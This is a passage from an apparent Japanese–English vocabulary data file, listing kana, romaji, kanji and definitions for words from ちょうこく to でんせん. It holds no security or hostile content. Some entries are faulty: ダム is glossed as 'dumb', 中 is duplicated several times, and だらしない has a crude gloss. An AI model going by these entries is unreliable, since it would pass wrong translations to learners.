period\"\n\t},\n\n\t{\n\t\t'kana':'ちょうこく',\n\t\t'romaji':'choukoku',\n\t\t'kanji':'彫刻',\n\t\t'definition':\"carving;engraving;sculpture\"\n\t},\n\n\t{\n\t\t'kana':'ちょうこう',\n\t\t'romaji':'choukou',\n\t\t'kanji':'聴講',\n\t\t'definition':\"lecture attendance;auditing\"\n\t},\n\n\t{\n\t\t'kana':'ちょうめ',\n\t\t'romaji':'choume',\n\t\t'kanji':'丁目',\n\t\t'definition':\"district of a town;city block (of irregular size)\"\n\t},\n\n\t{\n\t\t'kana':'ちょうみりょう',\n\t\t'romaji':'choumiryou',\n\t\t'kanji':'調味料',\n\t\t'definition':\"condiment;seasoning\"\n\t},\n\n\t{\n\t\t'kana':'ちょうなん',\n\t\t'romaji':'chounan',\n\t\t'kanji':'長男',\n\t\t'definition':\"eldest son\"\n\t},\n\n\t{\n\t\t'kana':'ちょうり',\n\t\t'romaji':'chouri',\n\t\t'kanji':'調理',\n\t\t'definition':\"cooking\"\n\t},\n\n\t{\n\t\t'kana':'ちょうさ',\n\t\t'romaji':'chousa',\n\t\t'kanji':'調査',\n\t\t'definition':\"investigation;examination;inquiry;survey\"\n\t},\n\n\t{\n\t\t'kana':'ちょうせい',\n\t\t'romaji':'chousei',\n\t\t'kanji':'調整',\n\t\t'definition':\"regulation;adjustment;tuning\"\n\t},\n\n\t{\n\t\t'kana':'ちょうせん',\n\t\t'romaji':'chousen',\n\t\t'kanji':'挑戦',\n\t\t'definition':\"challenge;defiance\"\n\t},\n\n\t{\n\t\t'kana':'ちょうせつ',\n\t\t'romaji':'chousetsu',\n\t\t'kanji':'調節',\n\t\t'definition':\"regulation;adjustment;control\"\n\t},\n\n\t{\n\t\t'kana':'ちょうし',\n\t\t'romaji':'choushi',\n\t\t'kanji':'調子',\n\t\t'definition':\"tune;tone;key;pitch;time;rhythm;vein;mood;way;manner;style;knack;condition;state of health;strain;impetus;spur of the moment;trend\"\n\t},\n\n\t{\n\t\t'kana':'ちょうしんき',\n\t\t'romaji':'choushinki',\n\t\t'kanji':'聴診器',\n\t\t'definition':\"stethoscope\"\n\t},\n\n\t{\n\t\t'kana':'ちょうしょ',\n\t\t'romaji':'chousho',\n\t\t'kanji':'長所',\n\t\t'definition':\"strong point\"\n\t},\n\n\t{\n\t\t'kana':'ちょうしゅう',\n\t\t'romaji':'choushuu',\n\t\t'kanji':'徴収',\n\t\t'definition':\"collection;levy\"\n\t},\n\n\t{\n\t\t'kana':'ちょうたん',\n\t\t'romaji':'choutan',\n\t\t'kanji':'長短',\n\t\t'definition':\"length;long and short;+-\"\n\t},\n\n\t{\n\t\t'kana':'ちょうてい',\n\t\t'romaji':'choutei',\n\t\t'kanji':'調停',\n\t\t'definition':\"arbitration;conciliation;mediation\"\n\t},\n\n\t{\n\t\t'kana':'ちょうてん',\n\t\t'romaji':'chouten',\n\t\t'kanji':'頂点',\n\t\t'definition':\"top;summit\"\n\t},\n\n\t{\n\t\t'kana':'ちょうわ',\n\t\t'romaji':'chouwa',\n\t\t'kanji':'調和',\n\t\t'definition':\"harmony\"\n\t},\n\n\t{\n\t\t'kana':'ちょぞう',\n\t\t'romaji':'chozou',\n\t\t'kanji':'貯蔵',\n\t\t'definition':\"storage;preservation\"\n\t},\n\n\t{\n\t\t'kana':'ちゅう',\n\t\t'romaji':'chuu',\n\t\t'kanji':'中',\n\t\t'definition':\"medium;mediocre\"\n\t},\n\n\t{\n\t\t'kana':'ちゅう',\n\t\t'romaji':'chuu',\n\t\t'kanji':'中',\n\t\t'definition':\"medium;mediocre\"\n\t},\n\n\t{\n\t\t'kana':'ちゅう',\n\t\t'romaji':'chuu',\n\t\t'kanji':'中',\n\t\t'definition':\"medium;mediocre\"\n\t},\n\n\t{\n\t\t'kana':'ちゅう',\n\t\t'romaji':'chuu',\n\t\t'kanji':'注',\n\t\t'definition':\"annotation;explanatory note\"\n\t},\n\n\t{\n\t\t'kana':'ちゅう',\n\t\t'romaji':'chuu',\n\t\t'kanji':'中',\n\t\t'definition':\"medium;mediocre\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうだん',\n\t\t'romaji':'chuudan',\n\t\t'kanji':'中断',\n\t\t'definition':\"interruption;suspension;break\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうどく',\n\t\t'romaji':'chuudoku',\n\t\t'kanji':'中毒',\n\t\t'definition':\"poisoning\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうがえり',\n\t\t'romaji':'chuugaeri',\n\t\t'kanji':'宙返り',\n\t\t'definition':\"somersault;looping-the-loop\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうがく',\n\t\t'romaji':'chuugaku',\n\t\t'kanji':'中学',\n\t\t'definition':\"middle school;junior high school\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうげん',\n\t\t'romaji':'chuugen',\n\t\t'kanji':'仲間',\n\t\t'definition':\"samurai's attendant;footman\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうはん',\n\t\t'romaji':'chuuhan',\n\t\t'kanji':'昼飯',\n\t\t'definition':\"lunch;midday meal\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうい',\n\t\t'romaji':'chuui',\n\t\t'kanji':'注意',\n\t\t'definition':\"caution;being careful;attention (heed);warning;advice\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうじつ',\n\t\t'romaji':'chuujitsu',\n\t\t'kanji':'忠実',\n\t\t'definition':\"fidelity;faithfulness\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうじゅん',\n\t\t'romaji':'chuujyun',\n\t\t'kanji':'中旬',\n\t\t'definition':\"second third of a month\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうかん',\n\t\t'romaji':'chuukan',\n\t\t'kanji':'昼間',\n\t\t'definition':\"daytime;during the day\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうかん',\n\t\t'romaji':'chuukan',\n\t\t'kanji':'中間',\n\t\t'definition':\"middle;midway;interim\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうけい',\n\t\t'romaji':'chuukei',\n\t\t'kanji':'中継',\n\t\t'definition':\"relay;hook-up\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうこ',\n\t\t'romaji':'chuuko',\n\t\t'kanji':'中古',\n\t\t'definition':\"1. used;second-hand;old; 2. Middle Ages\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうこく',\n\t\t'romaji':'chuukoku',\n\t\t'kanji':'忠告',\n\t\t'definition':\"advice;warning\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうもく',\n\t\t'romaji':'chuumoku',\n\t\t'kanji':'注目',\n\t\t'definition':\"notice;attention;observation\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうもん',\n\t\t'romaji':'chuumon',\n\t\t'kanji':'注文',\n\t\t'definition':\"order;request\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうねん',\n\t\t'romaji':'chuunen',\n\t\t'kanji':'中年',\n\t\t'definition':\"middle-aged\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうにん',\n\t\t'romaji':'chuunin',\n\t\t'kanji':'仲人',\n\t\t'definition':\"go-between;matchmaker\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうおう',\n\t\t'romaji':'chuuou',\n\t\t'kanji':'中央',\n\t\t'definition':\"centre;central;center;middle\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうっぱら',\n\t\t'romaji':'chuuppara',\n\t\t'kanji':'中腹',\n\t\t'definition':\"irritated;offended\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうりつ',\n\t\t'romaji':'chuuritsu',\n\t\t'kanji':'中立',\n\t\t'definition':\"neutrality\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうせい',\n\t\t'romaji':'chuusei',\n\t\t'kanji':'中性',\n\t\t'definition':\"neuter gender;neutral (chem.);indifference;sterility\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうせい',\n\t\t'romaji':'chuusei',\n\t\t'kanji':'中世',\n\t\t'definition':\"Middle Ages;mediaeval times\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうせん',\n\t\t'romaji':'chuusen',\n\t\t'kanji':'抽選',\n\t\t'definition':\"lottery;raffle;drawing (of lots)\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうしゃ',\n\t\t'romaji':'chuusha',\n\t\t'kanji':'駐車',\n\t\t'definition':\"parking (e.g. car)\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうしゃ',\n\t\t'romaji':'chuusha',\n\t\t'kanji':'注射',\n\t\t'definition':\"injection\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうし',\n\t\t'romaji':'chuushi',\n\t\t'kanji':'中指',\n\t\t'definition':\"middle finger\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうし',\n\t\t'romaji':'chuushi',\n\t\t'kanji':'中止',\n\t\t'definition':\"suspension;stoppage;discontinuance;interruption\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうしん',\n\t\t'romaji':'chuushin',\n\t\t'kanji':'中心',\n\t\t'definition':\"center;core;heart;pivot;emphasis;balance\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうしょく',\n\t\t'romaji':'chuushoku',\n\t\t'kanji':'昼食',\n\t\t'definition':\"lunch;midday meal\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうしょう',\n\t\t'romaji':'chuushou',\n\t\t'kanji':'抽象',\n\t\t'definition':\"abstract\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうしょう',\n\t\t'romaji':'chuushou',\n\t\t'kanji':'中傷',\n\t\t'definition':\"slander;libel;defamation\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうすう',\n\t\t'romaji':'chuusuu',\n\t\t'kanji':'中枢',\n\t\t'definition':\"centre;pivot;mainstay;nucleus;backbone;central figure;pillar;key man\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうと',\n\t\t'romaji':'chuuto',\n\t\t'kanji':'中途',\n\t\t'definition':\"in the middle;half-way\"\n\t},\n\n\t{\n\t\t'kana':'ちゅうわ',\n\t\t'romaji':'chuuwa',\n\t\t'kanji':'中和',\n\t\t'definition':\"neutralize;counteract\"\n\t},\n\n\t{\n\t\t'kana':'だぶだぶ',\n\t\t'romaji':'dabudabu',\n\t\t'kanji':'',\n\t\t'definition':\"loose;baggy\"\n\t},\n\n\t{\n\t\t'kana':'ダブル',\n\t\t'romaji':'daburu',\n\t\t'kanji':'',\n\t\t'definition':\"double\"\n\t},\n\n\t{\n\t\t'kana':'ダブる',\n\t\t'romaji':'daburu',\n\t\t'kanji':'',\n\t\t'definition':\"to coincide (fall on the same day);to have two of something;to repeat a school year after failing\"\n\t},\n\n\t{\n\t\t'kana':'だえん',\n\t\t'romaji':'daen',\n\t\t'kanji':'楕円',\n\t\t'definition':\"ellipse\"\n\t},\n\n\t{\n\t\t'kana':'だげき',\n\t\t'romaji':'dageki',\n\t\t'kanji':'打撃',\n\t\t'definition':\"1. blow;shock;strike;damage; 2. batting (baseball)\"\n\t},\n\n\t{\n\t\t'kana':'だい',\n\t\t'romaji':'dai',\n\t\t'kanji':'第',\n\t\t'definition':\"ordinal\"\n\t},\n\n\t{\n\t\t'kana':'だい',\n\t\t'romaji':'dai',\n\t\t'kanji':'題',\n\t\t'definition':\"title;subject;theme;topic\"\n\t},\n\n\t{\n\t\t'kana':'だい',\n\t\t'romaji':'dai',\n\t\t'kanji':'台',\n\t\t'definition':\"stand;rack;table;support\"\n\t},\n\n\t{\n\t\t'kana':'だい',\n\t\t'romaji':'dai',\n\t\t'kanji':'台',\n\t\t'definition':\"stand;rack;table;support\"\n\t},\n\n\t{\n\t\t'kana':'だいべん',\n\t\t'romaji':'daiben',\n\t\t'kanji':'代弁',\n\t\t'definition':\"pay by proxy;act for another;speak for another\"\n\t},\n\n\t{\n\t\t'kana':'だいべん',\n\t\t'romaji':'daiben',\n\t\t'kanji':'大便',\n\t\t'definition':\"feces;excrement;shit\"\n\t},\n\n\t{\n\t\t'kana':'だいぶ',\n\t\t'romaji':'daibu',\n\t\t'kanji':'大分',\n\t\t'definition':\"considerably;greatly;a lot\"\n\t},\n\n\t{\n\t\t'kana':'だいぶぶん',\n\t\t'romaji':'daibubun',\n\t\t'kanji':'大部分',\n\t\t'definition':\"most part;greater part;majority\"\n\t},\n\n\t{\n\t\t'kana':'だいどころ',\n\t\t'romaji':'daidokoro',\n\t\t'kanji':'台所',\n\t\t'definition':\"kitchen\"\n\t},\n\n\t{\n\t\t'kana':'だいがく',\n\t\t'romaji':'daigaku',\n\t\t'kanji':'大学',\n\t\t'definition':\"university\"\n\t},\n\n\t{\n\t\t'kana':'だいがくいん',\n\t\t'romaji':'daigakuin',\n\t\t'kanji':'大学院',\n\t\t'definition':\"graduate school\"\n\t},\n\n\t{\n\t\t'kana':'だいほん',\n\t\t'romaji':'daihon',\n\t\t'kanji':'台本',\n\t\t'definition':\"libretto;scenario\"\n\t},\n\n\t{\n\t\t'kana':'だいひょう',\n\t\t'romaji':'daihyou',\n\t\t'kanji':'代表',\n\t\t'definition':\"representative;representation;delegation;type;example;model\"\n\t},\n\n\t{\n\t\t'kana':'だいいち',\n\t\t'romaji':'daiichi',\n\t\t'kanji':'第一',\n\t\t'definition':\"first;foremost;# 1\"\n\t},\n\n\t{\n\t\t'kana':'だいじん',\n\t\t'romaji':'daijin',\n\t\t'kanji':'大臣',\n\t\t'definition':\"cabinet minister\"\n\t},\n\n\t{\n\t\t'kana':'だいじょうぶ',\n\t\t'romaji':'daijyoubu',\n\t\t'kanji':'大丈夫',\n\t\t'definition':\"safe;all right;O.K.\"\n\t},\n\n\t{\n\t\t'kana':'だいきん',\n\t\t'romaji':'daikin',\n\t\t'kanji':'代金',\n\t\t'definition':\"price;payment;cost;charge;the money;the bill\"\n\t},\n\n\t{\n\t\t'kana':'だいく',\n\t\t'romaji':'daiku',\n\t\t'kanji':'大工',\n\t\t'definition':\"carpenter\"\n\t},\n\n\t{\n\t\t'kana':'だいめい',\n\t\t'romaji':'daimei',\n\t\t'kanji':'題名',\n\t\t'definition':\"title\"\n\t},\n\n\t{\n\t\t'kana':'だいめいし',\n\t\t'romaji':'daimeishi',\n\t\t'kanji':'代名詞',\n\t\t'definition':\"pronoun\"\n\t},\n\n\t{\n\t\t'kana':'だいなし',\n\t\t'romaji':'dainashi',\n\t\t'kanji':'台無し',\n\t\t'definition':\"mess;spoiled;(come to) nothing\"\n\t},\n\n\t{\n\t\t'kana':'だいり',\n\t\t'romaji':'dairi',\n\t\t'kanji':'代理',\n\t\t'definition':\"representation;agency;proxy;deputy;agent;attorney;substitute;alternate;acting (principal etc.)\"\n\t},\n\n\t{\n\t\t'kana':'だいしょう',\n\t\t'romaji':'daishou',\n\t\t'kanji':'大小',\n\t\t'definition':\"size\"\n\t},\n\n\t{\n\t\t'kana':'だいたい',\n\t\t'romaji':'daitai',\n\t\t'kanji':'大体',\n\t\t'definition':\"general;substantially;outline;main point\"\n\t},\n\n\t{\n\t\t'kana':'だいたん',\n\t\t'romaji':'daitan',\n\t\t'kanji':'大胆',\n\t\t'definition':\"bold;daring;audacious\"\n\t},\n\n\t{\n\t\t'kana':'だいとうりょう',\n\t\t'romaji':'daitouryou',\n\t\t'kanji':'大統領',\n\t\t'definition':\"president;chief executive\"\n\t},\n\n\t{\n\t\t'kana':'ダイヤグラム',\n\t\t'romaji':'daiyaguramu',\n\t\t'kanji':'',\n\t\t'definition':\"diagram\"\n\t},\n\n\t{\n\t\t'kana':'ダイヤモンド',\n\t\t'romaji':'daiyamondo',\n\t\t'kanji':'',\n\t\t'definition':\"diamond\"\n\t},\n\n\t{\n\t\t'kana':'ダイヤル',\n\t\t'romaji':'daiyaru',\n\t\t'kanji':'',\n\t\t'definition':\"dial\"\n\t},\n\n\t{\n\t\t'kana':'だいよう',\n\t\t'romaji':'daiyou',\n\t\t'kanji':'代用',\n\t\t'definition':\"substitution\"\n\t},\n\n\t{\n\t\t'kana':'だかい',\n\t\t'romaji':'dakai',\n\t\t'kanji':'打開',\n\t\t'definition':\"break in the deadlock\"\n\t},\n\n\t{\n\t\t'kana':'だから',\n\t\t'romaji':'dakara',\n\t\t'kanji':'',\n\t\t'definition':\"so;therefore\"\n\t},\n\n\t{\n\t\t'kana':'だけ',\n\t\t'romaji':'dake',\n\t\t'kanji':'丈',\n\t\t'definition':\"only;just;as\"\n\t},\n\n\t{\n\t\t'kana':'だけど',\n\t\t'romaji':'dakedo',\n\t\t'kanji':'',\n\t\t'definition':\"however\"\n\t},\n\n\t{\n\t\t'kana':'だけつ',\n\t\t'romaji':'daketsu',\n\t\t'kanji':'妥結',\n\t\t'definition':\"agreement\"\n\t},\n\n\t{\n\t\t'kana':'だっこ',\n\t\t'romaji':'dako',\n\t\t'kanji':'抱っこ',\n\t\t'definition':\"(child's) hug\"\n\t},\n\n\t{\n\t\t'kana':'だきょう',\n\t\t'romaji':'dakyou',\n\t\t'kanji':'妥協',\n\t\t'definition':\"compromise;giving in\"\n\t},\n\n\t{\n\t\t'kana':'だまる',\n\t\t'romaji':'damaru',\n\t\t'kanji':'黙る',\n\t\t'definition':\"to be silent\"\n\t},\n\n\t{\n\t\t'kana':'だます',\n\t\t'romaji':'damasu',\n\t\t'kanji':'騙す',\n\t\t'definition':\"to trick;to cheat;to deceive\"\n\t},\n\n\t{\n\t\t'kana':'だめ',\n\t\t'romaji':'dame',\n\t\t'kanji':'駄目',\n\t\t'definition':\"useless;no good;hopeless\"\n\t},\n\n\t{\n\t\t'kana':'ダム',\n\t\t'romaji':'damu',\n\t\t'kanji':'',\n\t\t'definition':\"dumb\"\n\t},\n\n\t{\n\t\t'kana':'だん',\n\t\t'romaji':'dan',\n\t\t'kanji':'壇',\n\t\t'definition':\"1. platform;podium;rostrum; 2. (arch) mandala\"\n\t},\n\n\t{\n\t\t'kana':'だん',\n\t\t'romaji':'dan',\n\t\t'kanji':'段',\n\t\t'definition':\"step;stair;flight of steps;grade;rank;level\"\n\t},\n\n\t{\n\t\t'kana':'だんぼう',\n\t\t'romaji':'danbou',\n\t\t'kanji':'暖房',\n\t\t'definition':\"heating\"\n\t},\n\n\t{\n\t\t'kana':'だんち',\n\t\t'romaji':'danchi',\n\t\t'kanji':'団地',\n\t\t'definition':\"multi-unit apartments\"\n\t},\n\n\t{\n\t\t'kana':'だんだん',\n\t\t'romaji':'dandan',\n\t\t'kanji':'段々',\n\t\t'definition':\"gradually;by degrees\"\n\t},\n\n\t{\n\t\t'kana':'だんげん',\n\t\t'romaji':'dangen',\n\t\t'kanji':'断言',\n\t\t'definition':\"declaration;affirmation\"\n\t},\n\n\t{\n\t\t'kana':'だんかい',\n\t\t'romaji':'dankai',\n\t\t'kanji':'段階',\n\t\t'definition':\"gradation;grad;stage\"\n\t},\n\n\t{\n\t\t'kana':'だんけつ',\n\t\t'romaji':'danketsu',\n\t\t'kanji':'団結',\n\t\t'definition':\"unity;union;combination\"\n\t},\n\n\t{\n\t\t'kana':'だんめん',\n\t\t'romaji':'danmen',\n\t\t'kanji':'断面',\n\t\t'definition':\"cross section\"\n\t},\n\n\t{\n\t\t'kana':'だんな',\n\t\t'romaji':'danna',\n\t\t'kanji':'旦那',\n\t\t'definition':\"master (of house);husband (informal)\"\n\t},\n\n\t{\n\t\t'kana':'ダンプ',\n\t\t'romaji':'danpu',\n\t\t'kanji':'',\n\t\t'definition':\"dump\"\n\t},\n\n\t{\n\t\t'kana':'だんりょく',\n\t\t'romaji':'danryoku',\n\t\t'kanji':'弾力',\n\t\t'definition':\"elasticity;flexibility\"\n\t},\n\n\t{\n\t\t'kana':'だんせい',\n\t\t'romaji':'dansei',\n\t\t'kanji':'男性',\n\t\t'definition':\"male;man\"\n\t},\n\n\t{\n\t\t'kana':'だんし',\n\t\t'romaji':'danshi',\n\t\t'kanji':'男子',\n\t\t'definition':\"youth;young man\"\n\t},\n\n\t{\n\t\t'kana':'ダンス',\n\t\t'romaji':'dansu',\n\t\t'kanji':'',\n\t\t'definition':\"dance\"\n\t},\n\n\t{\n\t\t'kana':'だんすい',\n\t\t'romaji':'dansui',\n\t\t'kanji':'断水',\n\t\t'definition':\"water outage\"\n\t},\n\n\t{\n\t\t'kana':'だんたい',\n\t\t'romaji':'dantai',\n\t\t'kanji':'団体',\n\t\t'definition':\"organization;association\"\n\t},\n\n\t{\n\t\t'kana':'だんてい',\n\t\t'romaji':'dantei',\n\t\t'kanji':'断定',\n\t\t'definition':\"conclusion;decision\"\n\t},\n\n\t{\n\t\t'kana':'だんぜん',\n\t\t'romaji':'danzen',\n\t\t'kanji':'断然',\n\t\t'definition':\"firmly;absolutely;definitely\"\n\t},\n\n\t{\n\t\t'kana':'だらけ',\n\t\t'romaji':'darake',\n\t\t'kanji':'',\n\t\t'definition':\"implying (negatively) that something is full of e.g. mistakes\"\n\t},\n\n\t{\n\t\t'kana':'だらしない',\n\t\t'romaji':'darashinai',\n\t\t'kanji':'',\n\t\t'definition':\"slovenly;loose;a slut\"\n\t},\n\n\t{\n\t\t'kana':'だれか',\n\t\t'romaji':'dareka',\n\t\t'kanji':'誰か',\n\t\t'definition':\"someone;somebody\"\n\t},\n\n\t{\n\t\t'kana':'だるい',\n\t\t'romaji':'darui',\n\t\t'kanji':'怠い',\n\t\t'definition':\"sluggish;feel heavy;languid;dull\"\n\t},\n\n\t{\n\t\t'kana':'ださく',\n\t\t'romaji':'dasaku',\n\t\t'kanji':'駄作',\n\t\t'definition':\"poor work;rubbish\"\n\t},\n\n\t{\n\t\t'kana':'だっしゅつ',\n\t\t'romaji':'dashutsu',\n\t\t'kanji':'脱出',\n\t\t'definition':\"escape\"\n\t},\n\n\t{\n\t\t'kana':'だっせん',\n\t\t'romaji':'dassen',\n\t\t'kanji':'脱線',\n\t\t'definition':\"derailment;digression\"\n\t},\n\n\t{\n\t\t'kana':'だっする',\n\t\t'romaji':'dassuru',\n\t\t'kanji':'脱する',\n\t\t'definition':\"to escape from;to get out\"\n\t},\n\n\t{\n\t\t'kana':'だす',\n\t\t'romaji':'dasu',\n\t\t'kanji':'出す',\n\t\t'definition':\"to put out;to send\"\n\t},\n\n\t{\n\t\t'kana':'だす',\n\t\t'romaji':'dasu',\n\t\t'kanji':'出す',\n\t\t'definition':\"to put out;to send\"\n\t},\n\n\t{\n\t\t'kana':'ダース',\n\t\t'romaji':'da-su',\n\t\t'kanji':'',\n\t\t'definition':\"dozen\"\n\t},\n\n\t{\n\t\t'kana':'だって',\n\t\t'romaji':'date',\n\t\t'kanji':'',\n\t\t'definition':\"but;because;even;also;too\"\n\t},\n\n\t{\n\t\t'kana':'だとう',\n\t\t'romaji':'datou',\n\t\t'kanji':'妥当',\n\t\t'definition':\"valid;proper;right;appropriate\"\n\t},\n\n\t{\n\t\t'kana':'だったい',\n\t\t'romaji':'dattai',\n\t\t'kanji':'脱退',\n\t\t'definition':\"secession\"\n\t},\n\n\t{\n\t\t'kana':'だったら',\n\t\t'romaji':'dattara',\n\t\t'kanji':'',\n\t\t'definition':\"if it's the case\"\n\t},\n\n\t{\n\t\t'kana':'ダウン',\n\t\t'romaji':'daun',\n\t\t'kanji':'',\n\t\t'definition':\"down\"\n\t},\n\n\t{\n\t\t'kana':'で',\n\t\t'romaji':'de',\n\t\t'kanji':'出',\n\t\t'definition':\"outflow;coming (going) out;graduate (of);rising (of the sun or moon);one's turn to appear on stage\"\n\t},\n\n\t{\n\t\t'kana':'であい',\n\t\t'romaji':'deai',\n\t\t'kanji':'出会い',\n\t\t'definition':\"meeting;rendezvous;encounter\"\n\t},\n\n\t{\n\t\t'kana':'であう',\n\t\t'romaji':'deau',\n\t\t'kanji':'出合う',\n\t\t'definition':\"to meet by chance;to come across;to happen to encounter;to hold a rendezvous;to have a date\"\n\t},\n\n\t{\n\t\t'kana':'であう',\n\t\t'romaji':'deau',\n\t\t'kanji':'出会う',\n\t\t'definition':\"to meet by chance;to come across;to happen to encounter;to hold a rendezvous;to have a date\"\n\t},\n\n\t{\n\t\t'kana':'でぐち',\n\t\t'romaji':'deguchi',\n\t\t'kanji':'出口',\n\t\t'definition':\"exit;gateway;way out;outlet;leak;vent\"\n\t},\n\n\t{\n\t\t'kana':'では',\n\t\t'romaji':'deha',\n\t\t'kanji':'',\n\t\t'definition':\"then;well;so;well then\"\n\t},\n\n\t{\n\t\t'kana':'でいり',\n\t\t'romaji':'deiri',\n\t\t'kanji':'出入り',\n\t\t'definition':\"in and out;coming and going;free association;income and expenditure;debits and credit\"\n\t},\n\n\t{\n\t\t'kana':'でいりぐち',\n\t\t'romaji':'deiriguchi',\n\t\t'kanji':'出入り口',\n\t\t'definition':\"exit and entrance\"\n\t},\n\n\t{\n\t\t'kana':'でかい',\n\t\t'romaji':'dekai',\n\t\t'kanji':'',\n\t\t'definition':\"huge\"\n\t},\n\n\t{\n\t\t'kana':'でかける',\n\t\t'romaji':'dekakeru',\n\t\t'kanji':'出掛ける',\n\t\t'definition':\"to depart;to go out (e.g. on an excursion or outing);to set out;to start;to be going out\"\n\t},\n\n\t{\n\t\t'kana':'できあがり',\n\t\t'romaji':'dekiagari',\n\t\t'kanji':'出来上がり',\n\t\t'definition':\"be finished;ready;made for;cut out\"\n\t},\n\n\t{\n\t\t'kana':'できあがる',\n\t\t'romaji':'dekiagaru',\n\t\t'kanji':'出来上がる',\n\t\t'definition':\"to be finished;to be ready;by definition;to be very drunk\"\n\t},\n\n\t{\n\t\t'kana':'できごと',\n\t\t'romaji':'dekigoto',\n\t\t'kanji':'出来事',\n\t\t'definition':\"incident;affair;happening;event\"\n\t},\n\n\t{\n\t\t'kana':'できもの',\n\t\t'romaji':'dekimono',\n\t\t'kanji':'出来物',\n\t\t'definition':\"able man;tumour;growth;boil;ulcer;abcess;rash;pimple\"\n\t},\n\n\t{\n\t\t'kana':'できる',\n\t\t'romaji':'dekiru',\n\t\t'kanji':'出切る',\n\t\t'definition':\"to be out of;to have no more at hand\"\n\t},\n\n\t{\n\t\t'kana':'できるだけ',\n\t\t'romaji':'dekirudake',\n\t\t'kanji':'出来るだけ',\n\t\t'definition':\"if at all possible\"\n\t},\n\n\t{\n\t\t'kana':'でこぼこ',\n\t\t'romaji':'dekoboko',\n\t\t'kanji':'凸凹',\n\t\t'definition':\"unevenness;roughness;ruggedness\"\n\t},\n\n\t{\n\t\t'kana':'デコレーション',\n\t\t'romaji':'dekore-syon',\n\t\t'kanji':'',\n\t\t'definition':\"decoration\"\n\t},\n\n\t{\n\t\t'kana':'でくわす',\n\t\t'romaji':'dekuwasu',\n\t\t'kanji':'出くわす',\n\t\t'definition':\"to happen to meet;to come across\"\n\t},\n\n\t{\n\t\t'kana':'デモ',\n\t\t'romaji':'demo',\n\t\t'kanji':'',\n\t\t'definition':\"demo;demonstration\"\n\t},\n\n\t{\n\t\t'kana':'でも',\n\t\t'romaji':'demo',\n\t\t'kanji':'',\n\t\t'definition':\"but;however\"\n\t},\n\n\t{\n\t\t'kana':'デモンストレーション',\n\t\t'romaji':'demonsutore-syon',\n\t\t'kanji':'',\n\t\t'definition':\"demonstration\"\n\t},\n\n\t{\n\t\t'kana':'でむかえ',\n\t\t'romaji':'demukae',\n\t\t'kanji':'出迎え',\n\t\t'definition':\"meeting;reception\"\n\t},\n\n\t{\n\t\t'kana':'でむかえる',\n\t\t'romaji':'demukaeru',\n\t\t'kanji':'出迎える',\n\t\t'definition':\"to meet;to greet\"\n\t},\n\n\t{\n\t\t'kana':'でなおし',\n\t\t'romaji':'denaoshi',\n\t\t'kanji':'出直し',\n\t\t'definition':\"adjustment;touch up\"\n\t},\n\n\t{\n\t\t'kana':'でんち',\n\t\t'romaji':'denchi',\n\t\t'kanji':'電池',\n\t\t'definition':\"battery\"\n\t},\n\n\t{\n\t\t'kana':'でんちゅう',\n\t\t'romaji':'denchuu',\n\t\t'kanji':'電柱',\n\t\t'definition':\"telephone pole;telegraph pole;lightpole\"\n\t},\n\n\t{\n\t\t'kana':'でんえん',\n\t\t'romaji':'denen',\n\t\t'kanji':'田園',\n\t\t'definition':\"country;rural districts\"\n\t},\n\n\t{\n\t\t'kana':'でんげん',\n\t\t'romaji':'dengen',\n\t\t'kanji':'電源',\n\t\t'definition':\"source of electricity;power (button on TV etc.)\"\n\t},\n\n\t{\n\t\t'kana':'でんき',\n\t\t'romaji':'denki',\n\t\t'kanji':'伝記',\n\t\t'definition':\"biography;life story\"\n\t},\n\n\t{\n\t\t'kana':'でんき',\n\t\t'romaji':'denki',\n\t\t'kanji':'電気',\n\t\t'definition':\"electricity;(electric) light\"\n\t},\n\n\t{\n\t\t'kana':'でんきゅう',\n\t\t'romaji':'denkyuu',\n\t\t'kanji':'電球',\n\t\t'definition':\"light bulb\"\n\t},\n\n\t{\n\t\t'kana':'でんぱ',\n\t\t'romaji':'denpa',\n\t\t'kanji':'電波',\n\t\t'definition':\"electro-magnetic wave\"\n\t},\n\n\t{\n\t\t'kana':'でんぽう',\n\t\t'romaji':'denpou',\n\t\t'kanji':'電報',\n\t\t'definition':\"telegram\"\n\t},\n\n\t{\n\t\t'kana':'でんらい',\n\t\t'romaji':'denrai',\n\t\t'kanji':'伝来',\n\t\t'definition':\"ancestral;hereditary;imported;transmitted;handed down\"\n\t},\n\n\t{\n\t\t'kana':'でんりょく',\n\t\t'romaji':'denryoku',\n\t\t'kanji':'電力',\n\t\t'definition':\"electric power\"\n\t},\n\n\t{\n\t\t'kana':'でんりゅう',\n\t\t'romaji':'denryuu',\n\t\t'kanji':'電流',\n\t\t'definition':\"electric current\"\n\t},\n\n\t{\n\t\t'kana':'でんせん',\n\t\t'romaji':'densen',\n\t\t'kanji':'電線',\n\t\t'definition':\"electric 